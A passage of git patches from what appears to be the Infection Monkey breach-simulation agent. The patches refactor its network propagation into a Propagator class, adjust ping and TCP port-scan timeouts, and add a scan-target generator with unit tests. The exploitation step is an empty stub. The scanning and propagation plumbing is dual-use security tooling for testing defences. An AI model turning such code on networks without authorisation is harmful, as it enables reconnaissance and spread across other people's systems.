Date: Fri, 10 Dec 2021 11:45:20 -0500 Subject: [PATCH 0130/1110] Agent: Make minor code cleanliness changes --- monkey/infection_monkey/master/ip_scanner.py | 7 ++++--- .../infection_monkey/master/test_network_scanner.py | 4 ++-- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 8073abad3..3e469ee9c 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -49,13 +49,14 @@ class IPScanner: results_callback(ip, ping_scan_data, port_scan_data) + logger.debug( + f"Detected the stop signal, scanning thread {threading.get_ident()} exiting" + ) + except queue.Empty: logger.debug( f"ips_to_scan queue is empty, scanning thread {threading.get_ident()} exiting" ) - return - - logger.debug(f"Detected the stop signal, scanning thread {threading.get_ident()} exiting") def _scan_tcp_ports(self, ip: str, options: Dict, stop: Event): port_scan_data = {} diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py index 078a47593..1ace7f67f 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py @@ -145,7 +145,7 @@ def test_scan_lots_of_ips(callback, scan_config, stop): def test_stop_after_callback(scan_config, stop): - def _callback(_, __, ___): + def _callback(*_): # Block all threads here until 2 threads reach this barrier, then set stop # and test that niether thread continues to scan. _callback.barrier.wait() @@ -164,7 +164,7 @@ def test_stop_after_callback(scan_config, stop): def test_interrupt_port_scanning(callback, scan_config, stop): - def stopable_scan_tcp_port(port, _, __): + def stopable_scan_tcp_port(port, *_): # Block all threads here until 2 threads reach this barrier, then set stop # and test that niether thread scans any more ports stopable_scan_tcp_port.barrier.wait() From 6147d635d62b5fb9c6b5043d1ada139e64156002 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Dec 2021 12:48:45 -0500 Subject: [PATCH 0131/1110] Agent: Extract propagation logic into Propagator class --- monkey/infection_monkey/master/__init__.py | 1 + .../master/automated_master.py | 74 ++--------------- monkey/infection_monkey/master/propagator.py | 80 ++++++++++++++++++ .../master/test_propagator.py | 82 +++++++++++++++++++ 4 files changed, 168 insertions(+), 69 deletions(-) create mode 100644 monkey/infection_monkey/master/propagator.py create mode 100644 monkey/tests/unit_tests/infection_monkey/master/test_propagator.py diff --git a/monkey/infection_monkey/master/__init__.py b/monkey/infection_monkey/master/__init__.py index bf8e1775c..21ef8f9b6 100644 --- a/monkey/infection_monkey/master/__init__.py +++ b/monkey/infection_monkey/master/__init__.py @@ -1,2 +1,3 @@ from .ip_scanner import IPScanner +from .propagator import Propagator from .automated_master import AutomatedMaster diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 9863b47d2..784046323 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,21 +1,17 @@ import logging import threading import time -from queue import Queue -from threading import Thread from typing import Any, Callable, Dict, List, Tuple from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster -from infection_monkey.i_puppet import IPuppet, PingScanData, PortScanData, PortStatus -from infection_monkey.model.host import VictimHost +from infection_monkey.i_puppet import IPuppet from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.utils.timer import Timer -from . import IPScanner +from . import IPScanner, Propagator from .threading_utils import create_daemon_thread CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 @@ -37,8 +33,8 @@ class AutomatedMaster(IMaster): self._telemetry_messenger = telemetry_messenger self._control_channel = control_channel - self._ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) - self._hosts_to_exploit = None + ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) + self._propagator = Propagator(self._telemetry_messenger, ip_scanner) self._stop = threading.Event() self._master_thread = create_daemon_thread(target=self._run_master_thread) @@ -121,11 +117,7 @@ class AutomatedMaster(IMaster): system_info_collector_thread.join() if self._can_propagate(): - propagation_thread = create_daemon_thread( - target=self._propagate, args=(config["propagation"],) - ) - propagation_thread.start() - propagation_thread.join() + self._propagator.propagate(config["propagation"], self._stop) payload_thread = create_daemon_thread( target=self._run_plugins, @@ -161,62 +153,6 @@ class AutomatedMaster(IMaster): def _can_propagate(self): return True - # TODO: Refactor propagation into its own class - def _propagate(self, propagation_config: Dict): - logger.info("Attempting to propagate") - - self._hosts_to_exploit = Queue() - - scan_thread = create_daemon_thread(target=self._scan_network, args=(propagation_config,)) - exploit_thread = create_daemon_thread(target=self._exploit_targets, args=(scan_thread,)) - - scan_thread.start() - exploit_thread.start() - - scan_thread.join() - exploit_thread.join() - - logger.info("Finished attempting to propagate") - - def _scan_network(self, propagation_config: Dict): - logger.info("Starting network scan") - - # TODO: Generate list of IPs to scan - ips_to_scan = [f"10.0.0.{i}" for i in range(1, 255)] - - scan_config = propagation_config["network_scan"] - self._ip_scanner.scan(ips_to_scan, scan_config, self._process_scan_results, self._stop) - - logger.info("Finished network scan") - - def _process_scan_results( - self, ip: str, ping_scan_data: PingScanData, port_scan_data: PortScanData - ): - victim_host = VictimHost(ip) - has_open_port = False - - victim_host.icmp = ping_scan_data.response_received - if ping_scan_data.os is not None: - victim_host.os["type"] = ping_scan_data.os - - for psd in port_scan_data.values(): - if psd.status == PortStatus.OPEN: - has_open_port = True - - victim_host.services[psd.service] = {} - victim_host.services[psd.service]["display_name"] = "unknown(TCP)" - victim_host.services[psd.service]["port"] = psd.port - if psd.banner is not None: - victim_host.services[psd.service]["banner"] = psd.banner - - if has_open_port: - self._hosts_to_exploit.put(victim_host) - - self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) - - def _exploit_targets(self, scan_thread: Thread): - pass - def _run_payload(self, payload: Tuple[str, Dict]): name = payload[0] options = payload[1] diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py new file mode 100644 index 000000000..ba0f5dccd --- /dev/null +++ b/monkey/infection_monkey/master/propagator.py @@ -0,0 +1,80 @@ +import logging +from queue import Queue +from threading import Event, Thread +from typing import Dict + +from infection_monkey.i_puppet import PingScanData, PortScanData, PortStatus +from infection_monkey.model.host import VictimHost +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.scan_telem import ScanTelem + +from . import IPScanner +from .threading_utils import create_daemon_thread + +logger = logging.getLogger() + + +class Propagator: + def __init__(self, telemetry_messenger: ITelemetryMessenger, ip_scanner: IPScanner): + self._telemetry_messenger = telemetry_messenger + self._ip_scanner = ip_scanner + self._hosts_to_exploit = None + + def propagate(self, propagation_config: Dict, stop: Event): + logger.info("Attempting to propagate") + + self._hosts_to_exploit = Queue() + + scan_thread = create_daemon_thread( + target=self._scan_network, args=(propagation_config, stop) + ) + exploit_thread = create_daemon_thread( + target=self._exploit_targets, args=(scan_thread, stop) + ) + + scan_thread.start() + exploit_thread.start() + + scan_thread.join() + exploit_thread.join() + + logger.info("Finished attempting to propagate") + + def _scan_network(self, propagation_config: Dict, stop: Event): + logger.info("Starting network scan") + + # TODO: Generate list of IPs to scan from propagation targets config + ips_to_scan = propagation_config["targets"]["subnet_scan_list"] + + scan_config = propagation_config["network_scan"] + self._ip_scanner.scan(ips_to_scan, scan_config, self._process_scan_results, stop) + + logger.info("Finished network scan") + + def _process_scan_results( + self, ip: str, ping_scan_data: PingScanData, port_scan_data: PortScanData + ): + victim_host = VictimHost(ip) + has_open_port = False + + victim_host.icmp = ping_scan_data.response_received + if ping_scan_data.os is not None: + victim_host.os["type"] = ping_scan_data.os + + for psd in port_scan_data.values(): + if psd.status == PortStatus.OPEN: + has_open_port = True + + victim_host.services[psd.service] = {} + victim_host.services[psd.service]["display_name"] = "unknown(TCP)" + victim_host.services[psd.service]["port"] = psd.port + if psd.banner is not None: + victim_host.services[psd.service]["banner"] = psd.banner + + if has_open_port: + self._hosts_to_exploit.put(victim_host) + + self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) + + def _exploit_targets(self, scan_thread: Thread, stop: Event): + pass diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py new file mode 100644 index 000000000..b5c97760b --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -0,0 +1,82 @@ +from threading import Event + +from infection_monkey.i_puppet import PingScanData, PortScanData, PortStatus +from infection_monkey.master import Propagator + +dot_1_results = ( + PingScanData(True, "windows"), + { + 22: PortScanData(22, PortStatus.CLOSED, None, None), + 445: PortScanData(445, PortStatus.OPEN, "SMB BANNER", "tcp-445"), + 3389: PortScanData(3389, PortStatus.OPEN, "", "tcp-3389"), + }, +) + +dot_3_results = ( + PingScanData(True, "linux"), + { + 22: PortScanData(22, PortStatus.OPEN, "SSH BANNER", "tcp-22"), + 443: PortScanData(443, PortStatus.OPEN, "HTTPS BANNER", "tcp-443"), + 3389: PortScanData(3389, PortStatus.CLOSED, "", None), + }, +) + +dead_host_results = ( + PingScanData(False, None), + { + 22: PortScanData(22, PortStatus.CLOSED, None, None), + 443: PortScanData(443, PortStatus.CLOSED, None, None), + 3389: PortScanData(3389, PortStatus.CLOSED, "", None), + }, +) + +dot_1_services = { + "tcp-445": {"display_name": "unknown(TCP)", "port": 445, "banner": "SMB BANNER"}, + "tcp-3389": {"display_name": "unknown(TCP)", "port": 3389, "banner": ""}, +} + +dot_3_services = { + "tcp-22": {"display_name": "unknown(TCP)", "port": 22, "banner": "SSH BANNER"}, + "tcp-443": {"display_name": "unknown(TCP)", "port": 443, "banner": "HTTPS BANNER"}, +} + + +class MockIPScanner: + def scan(self, ips_to_scan, options, results_callback, stop): + for ip in ips_to_scan: + if ip.endswith(".1"): + results_callback(ip, *dot_1_results) + elif ip.endswith(".3"): + results_callback(ip, *dot_3_results) + else: + results_callback(ip, *dead_host_results) + + +def test_scan_result_processing(telemetry_messenger_spy): + p = Propagator(telemetry_messenger_spy, MockIPScanner()) + p.propagate( + {"targets": {"subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"]}, "network_scan": {}}, + Event(), + ) + + assert len(telemetry_messenger_spy.telemetries) == 3 + + for t in telemetry_messenger_spy.telemetries: + data = t.get_data() + ip = data["machine"]["ip_addr"] + + if ip.endswith(".1"): + assert data["service_count"] == 2 + assert data["machine"]["os"]["type"] == "windows" + assert data["machine"]["services"] == dot_1_services + assert data["machine"]["icmp"] is True + elif ip.endswith(".3"): + assert data["service_count"] == 2 + assert data["machine"]["os"]["type"] == "linux" + assert data["machine"]["services"] == dot_3_services + assert data["machine"]["icmp"] is True + else: + assert data["service_count"] == 0 + assert data["machine"]["os"] == {} + assert data["machine"]["services"] == {} + assert data["machine"]["icmp"] is False From 88608c1cf1de5c02b26b28c7c1c3716486ca6a10 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 07:05:10 -0500 Subject: [PATCH 0132/1110] Agent: Fix some type hints in automated master --- monkey/infection_monkey/master/propagator.py | 2 +- monkey/infection_monkey/master/threading_utils.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index ba0f5dccd..da36ce5b9 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -52,7 +52,7 @@ class Propagator: logger.info("Finished network scan") def _process_scan_results( - self, ip: str, ping_scan_data: PingScanData, port_scan_data: PortScanData + self, ip: str, ping_scan_data: PingScanData, port_scan_data: Dict[int, PortScanData] ): victim_host = VictimHost(ip) has_open_port = False diff --git a/monkey/infection_monkey/master/threading_utils.py b/monkey/infection_monkey/master/threading_utils.py index 5c7da9363..56cf4a459 100644 --- a/monkey/infection_monkey/master/threading_utils.py +++ b/monkey/infection_monkey/master/threading_utils.py @@ -1,6 +1,6 @@ from threading import Thread -from typing import Any, Callable, Tuple +from typing import Callable, Tuple -def create_daemon_thread(target: Callable[[Any], None], args: Tuple[Any] = ()): +def create_daemon_thread(target: Callable[..., None], args: Tuple = ()): return Thread(target=target, args=args, daemon=True) From 11e3c5d6e4cc06e20ac0c8f91123db6fa9458e22 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 07:07:43 -0500 Subject: [PATCH 0133/1110] UT: Remove superfluous Asserts in test_network_scanner.py --- .../unit_tests/infection_monkey/master/test_network_scanner.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py index 1ace7f67f..9447bdfc1 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py @@ -67,12 +67,10 @@ def assert_dot_1(ip, ping_scan_data, port_scan_data): psd_445 = port_scan_data[445] psd_3389 = port_scan_data[3389] - assert psd_445.status == PortStatus.OPEN assert psd_445.port == 445 assert psd_445.banner == "SMB BANNER" assert psd_445.service == "tcp-445" - assert psd_3389.status == PortStatus.OPEN assert psd_3389.port == 3389 assert psd_3389.banner == "" assert psd_3389.service == "tcp-3389" From 5a1e19391dbda99e3c6c6b7c33132fe56fef863b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 07:44:05 -0500 Subject: [PATCH 0134/1110] Agent: Make tcp/ping timeouts consistent * Ping takes a `timeout: float` instead of `options: Dict` the same way that `scan_tcp_port()` does. * Timeouts are floats instead of ints --- monkey/infection_monkey/i_puppet.py | 12 ++++++------ monkey/infection_monkey/master/ip_scanner.py | 7 +++++-- monkey/infection_monkey/master/mock_master.py | 2 +- monkey/infection_monkey/puppet/mock_puppet.py | 4 ++-- .../infection_monkey/master/test_network_scanner.py | 6 ------ 5 files changed, 14 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 49040dd9f..f158be08c 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -36,22 +36,22 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def ping(self, host: str, options: Dict) -> PingScanData: + def ping(self, host: str, timeout: float) -> PingScanData: """ Sends a ping (ICMP packet) to a remote host :param str host: The domain name or IP address of a host - :return: A tuple that contains whether or not the host responded and the host's inferred - operating system - :rtype: Tuple[bool, Optional[str]] + :param float timeout: The maximum amount of time (in seconds) to wait for a response + :return: The data collected by attempting to ping the target host + :rtype: PingScanData """ @abc.abstractmethod - def scan_tcp_port(self, host: str, port: int, timeout: int) -> PortScanData: + def scan_tcp_port(self, host: str, port: int, timeout: float) -> PortScanData: """ Scans a TCP port on a remote host :param str host: The domain name or IP address of a host :param int port: A TCP port number to scan - :param int timeout: The maximum amount of time (in seconds) to wait for a response + :param float timeout: The maximum amount of time (in seconds) to wait for a response :return: The data collected by scanning the provided host:port combination :rtype: PortScanData """ diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 3e469ee9c..7933202f6 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -44,7 +44,8 @@ class IPScanner: ip = ips.get_nowait() logger.info(f"Scanning {ip}") - ping_scan_data = self._puppet.ping(ip, options["icmp"]) + icmp_timeout = options["icmp"]["timeout_ms"] / 1000 + ping_scan_data = self._puppet.ping(ip, icmp_timeout) port_scan_data = self._scan_tcp_ports(ip, options["tcp"], stop) results_callback(ip, ping_scan_data, port_scan_data) @@ -59,11 +60,13 @@ class IPScanner: ) def _scan_tcp_ports(self, ip: str, options: Dict, stop: Event): + tcp_timeout = options["timeout_ms"] / 1000 port_scan_data = {} + for p in options["ports"]: if stop.is_set(): break - port_scan_data[p] = self._puppet.scan_tcp_port(ip, p, options["timeout_ms"]) + port_scan_data[p] = self._puppet.scan_tcp_port(ip, p, tcp_timeout) return port_scan_data diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 8c8ecebdd..551ff886c 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -66,7 +66,7 @@ class MockMaster(IMaster): for ip in ips: h = self._hosts[ip] - ping_scan_data = self._puppet.ping(ip, {}) + ping_scan_data = self._puppet.ping(ip, 1) h.icmp = ping_scan_data.response_received if ping_scan_data.os is not None: h.os["type"] = ping_scan_data.os diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index de89db172..8c6a39c65 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -156,8 +156,8 @@ class MockPuppet(IPuppet): else: return PostBreachData("pba command 2", ["pba result 2", False]) - def ping(self, host: str, options: Dict) -> PingScanData: - logger.debug(f"run_ping({host})") + def ping(self, host: str, timeout: float = 1) -> PingScanData: + logger.debug(f"run_ping({host}, {timeout})") if host == DOT_1: return PingScanData(True, "windows") diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py index 9447bdfc1..d302cbbfb 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py @@ -12,12 +12,6 @@ WINDOWS_OS = "windows" LINUX_OS = "linux" -class MockPuppet(MockPuppet): - def __init__(self): - self.ping = MagicMock(side_effect=super().ping) - self.scan_tcp_port = MagicMock(side_effect=super().scan_tcp_port) - - @pytest.fixture def scan_config(): return { From 0c180a455c308c402ca21357e6ed6b912835ef0e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 08:29:56 -0500 Subject: [PATCH 0135/1110] Agent: Improve "options" handling in IPScanner --- monkey/infection_monkey/master/ip_scanner.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 7933202f6..1c273fa22 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -46,7 +46,10 @@ class IPScanner: icmp_timeout = options["icmp"]["timeout_ms"] / 1000 ping_scan_data = self._puppet.ping(ip, icmp_timeout) - port_scan_data = self._scan_tcp_ports(ip, options["tcp"], stop) + + tcp_timeout = options["tcp"]["timeout_ms"] / 1000 + tcp_ports = options["tcp"]["ports"] + port_scan_data = self._scan_tcp_ports(ip, tcp_ports, tcp_timeout, stop) results_callback(ip, ping_scan_data, port_scan_data) @@ -59,14 +62,13 @@ class IPScanner: f"ips_to_scan queue is empty, scanning thread {threading.get_ident()} exiting" ) - def _scan_tcp_ports(self, ip: str, options: Dict, stop: Event): - tcp_timeout = options["timeout_ms"] / 1000 + def _scan_tcp_ports(self, ip: str, ports: List[int], timeout: float, stop: Event): port_scan_data = {} - for p in options["ports"]: + for p in ports: if stop.is_set(): break - port_scan_data[p] = self._puppet.scan_tcp_port(ip, p, tcp_timeout) + port_scan_data[p] = self._puppet.scan_tcp_port(ip, p, timeout) return port_scan_data From 1a7135e13f934f4588b32abad01c2ffa7a3cf035 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 08:37:00 -0500 Subject: [PATCH 0136/1110] Agent: Improve Callback type hint in IPScanner --- monkey/infection_monkey/master/ip_scanner.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 1c273fa22..b54adfb4a 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -11,7 +11,9 @@ from .threading_utils import create_daemon_thread logger = logging.getLogger() -Callback = Callable[[str, PingScanData, Dict[int, PortScanData]], None] +IP = str +Port = int +Callback = Callable[[IP, PingScanData, Dict[Port, PortScanData]], None] class IPScanner: From 0058aa4f37180433d1bca2c0f8d2100382b81d4e Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 13 Dec 2021 16:23:04 +0200 Subject: [PATCH 0137/1110] UT: Improve readability of test_network_scanner.py --- .../master/test_network_scanner.py | 31 ++++++++++++------- 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py index d302cbbfb..6d38097a7 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py @@ -50,7 +50,7 @@ def assert_port_status(port_scan_data, expected_open_ports: Set[int]): assert psd.status == PortStatus.CLOSED -def assert_dot_1(ip, ping_scan_data, port_scan_data): +def assert_scan_results_no_1(ip, ping_scan_data, port_scan_data): assert ip == "10.0.0.1" assert ping_scan_data.response_received is True @@ -72,7 +72,7 @@ def assert_dot_1(ip, ping_scan_data, port_scan_data): assert_port_status(port_scan_data, {445, 3389}) -def assert_dot_3(ip, ping_scan_data, port_scan_data): +def assert_scan_results_no_3(ip, ping_scan_data, port_scan_data): assert ip == "10.0.0.3" assert ping_scan_data.response_received is True @@ -93,12 +93,12 @@ def assert_dot_3(ip, ping_scan_data, port_scan_data): assert_port_status(port_scan_data, {22, 443}) -def assert_host_down(ip, ping_scan_data, port_scan_data): +def assert_scan_results_host_down(ip, ping_scan_data, port_scan_data): assert ip not in {"10.0.0.1", "10.0.0.3"} assert ping_scan_data.response_received is False assert len(port_scan_data.keys()) == 6 - assert_port_status(port_scan_data, {}) + assert_port_status(port_scan_data, set()) def test_scan_single_ip(callback, scan_config, stop): @@ -109,8 +109,8 @@ def test_scan_single_ip(callback, scan_config, stop): callback.assert_called_once() - print(type(callback.call_args_list[0][0])) - assert_dot_1(*(callback.call_args_list[0][0])) + (ip, ping_scan_data, port_scan_data) = callback.call_args_list[0][0] + assert_scan_results_no_1(ip, ping_scan_data, port_scan_data) def test_scan_multiple_ips(callback, scan_config, stop): @@ -121,10 +121,17 @@ def test_scan_multiple_ips(callback, scan_config, stop): assert callback.call_count == 4 - assert_dot_1(*(callback.call_args_list[0][0])) - assert_host_down(*(callback.call_args_list[1][0])) - assert_dot_3(*(callback.call_args_list[2][0])) - assert_host_down(*(callback.call_args_list[3][0])) + (ip, ping_scan_data, port_scan_data) = callback.call_args_list[0][0] + assert_scan_results_no_1(ip, ping_scan_data, port_scan_data) + + (ip, ping_scan_data, port_scan_data) = callback.call_args_list[1][0] + assert_scan_results_host_down(ip, ping_scan_data, port_scan_data) + + (ip, ping_scan_data, port_scan_data) = callback.call_args_list[2][0] + assert_scan_results_no_3(ip, ping_scan_data, port_scan_data) + + (ip, ping_scan_data, port_scan_data) = callback.call_args_list[3][0] + assert_scan_results_host_down(ip, ping_scan_data, port_scan_data) def test_scan_lots_of_ips(callback, scan_config, stop): @@ -139,7 +146,7 @@ def test_scan_lots_of_ips(callback, scan_config, stop): def test_stop_after_callback(scan_config, stop): def _callback(*_): # Block all threads here until 2 threads reach this barrier, then set stop - # and test that niether thread continues to scan. + # and test that neither thread continues to scan. _callback.barrier.wait() stop.set() @@ -158,7 +165,7 @@ def test_stop_after_callback(scan_config, stop): def test_interrupt_port_scanning(callback, scan_config, stop): def stopable_scan_tcp_port(port, *_): # Block all threads here until 2 threads reach this barrier, then set stop - # and test that niether thread scans any more ports + # and test that neither thread scans any more ports stopable_scan_tcp_port.barrier.wait() stop.set() From 23a0f74b2b4c0b1a58c4a585314480664047e771 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 09:30:44 -0500 Subject: [PATCH 0138/1110] Agent: Add initial compile_scan_target_list() For the moment, this only handles the ranges_to_scan parameter. Other parameters need to be handled. --- .../network/scan_target_generator.py | 25 +++++++ .../network/test_scan_target_generator.py | 65 +++++++++++++++++++ 2 files changed, 90 insertions(+) create mode 100644 monkey/infection_monkey/network/scan_target_generator.py create mode 100644 monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py new file mode 100644 index 000000000..0aac33cc9 --- /dev/null +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -0,0 +1,25 @@ +from typing import List + +from common.network.network_range import NetworkRange + + +def compile_scan_target_list( + local_ips: List[str], + ranges_to_scan: List[str], + inaccessible_subnets: List[str], + blocklisted_ips: List[str], + enable_local_network_scan: bool, +) -> List[str]: + scan_target_list = _get_ips_from_ranges_to_scan(ranges_to_scan) + + return scan_target_list + + +def _get_ips_from_ranges_to_scan(ranges_to_scan): + scan_target_list = [] + + network_ranges = [NetworkRange.get_range_obj(_range) for _range in ranges_to_scan] + for _range in network_ranges: + scan_target_list.extend([ip for ip in _range]) + + return scan_target_list diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py new file mode 100644 index 000000000..89a0775d8 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -0,0 +1,65 @@ +import pytest + +from infection_monkey.network.scan_target_generator import compile_scan_target_list + + +def compile_ranges_only(ranges): + return compile_scan_target_list( + local_ips=[], + ranges_to_scan=ranges, + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + +def test_single_subnet(): + scan_targets = compile_ranges_only(["10.0.0.0/24"]) + + assert len(scan_targets) == 255 + + for i in range(0, 255): + assert f"10.0.0.{i}" in scan_targets + + +@pytest.mark.parametrize("single_ip", ["10.0.0.2", "10.0.0.2/32", "10.0.0.2-10.0.0.2"]) +def test_single_ip(single_ip): + print(single_ip) + scan_targets = compile_ranges_only([single_ip]) + + assert len(scan_targets) == 1 + assert "10.0.0.2" in scan_targets + assert "10.0.0.2" == scan_targets[0] + + +def test_multiple_subnet(): + scan_targets = compile_ranges_only(["10.0.0.0/24", "192.168.56.8/29"]) + + assert len(scan_targets) == 262 + + for i in range(0, 255): + assert f"10.0.0.{i}" in scan_targets + + for i in range(8, 15): + assert f"192.168.56.{i}" in scan_targets + + +def test_middle_of_range_subnet(): + scan_targets = compile_ranges_only(["192.168.56.4/29"]) + + assert len(scan_targets) == 7 + + for i in range(0, 7): + assert f"192.168.56.{i}" in scan_targets + + +@pytest.mark.parametrize( + "ip_range", ["192.168.56.25-192.168.56.33", "192.168.56.25 - 192.168.56.33"] +) +def test_ip_range(ip_range): + scan_targets = compile_ranges_only([ip_range]) + + assert len(scan_targets) == 9 + + for i in range(25, 34): + assert f"192.168.56.{i}" in scan_targets From a0d679285c41028f0df4ef6fc8e4991238a0e2f7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 16:34:52 +0200 Subject: [PATCH 0139/1110] Agent: strip whitespace from IP's when generating a list of ip's This fixes a bug where get_range_object("10.0.0.0 - 10.0.0.6") doesn't work because of the whitespaces --- monkey/common/network/network_range.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 1ab37ba57..1ab199943 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -54,6 +54,7 @@ class NetworkRange(object, metaclass=ABCMeta): def check_if_range(address_str): if -1 != address_str.find("-"): ips = address_str.split("-") + ips = [ip.strip() for ip in ips] try: ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) except ValueError: From 8d383d28329fb8283132c4d20bbd08cb44488ed8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 09:41:23 -0500 Subject: [PATCH 0140/1110] Agent: Remove duplicate IPs in compile_scan_target_list() --- .../network/scan_target_generator.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 0aac33cc9..41b570622 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -1,4 +1,4 @@ -from typing import List +from typing import List, Set from common.network.network_range import NetworkRange @@ -10,16 +10,18 @@ def compile_scan_target_list( blocklisted_ips: List[str], enable_local_network_scan: bool, ) -> List[str]: - scan_target_list = _get_ips_from_ranges_to_scan(ranges_to_scan) + scan_targets = _get_ips_from_ranges_to_scan(ranges_to_scan) + scan_target_list = list(scan_targets) + scan_target_list.sort() return scan_target_list -def _get_ips_from_ranges_to_scan(ranges_to_scan): - scan_target_list = [] +def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> Set[str]: + scan_targets = set() network_ranges = [NetworkRange.get_range_obj(_range) for _range in ranges_to_scan] for _range in network_ranges: - scan_target_list.extend([ip for ip in _range]) + scan_targets.update(set(_range)) - return scan_target_list + return scan_targets From 913ba02e0bd9bef0a49241fd563369449d3eaa7e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 09:55:48 -0500 Subject: [PATCH 0141/1110] Agent: Remove blocklisted IPs from scan targets --- .../network/scan_target_generator.py | 12 ++++++ 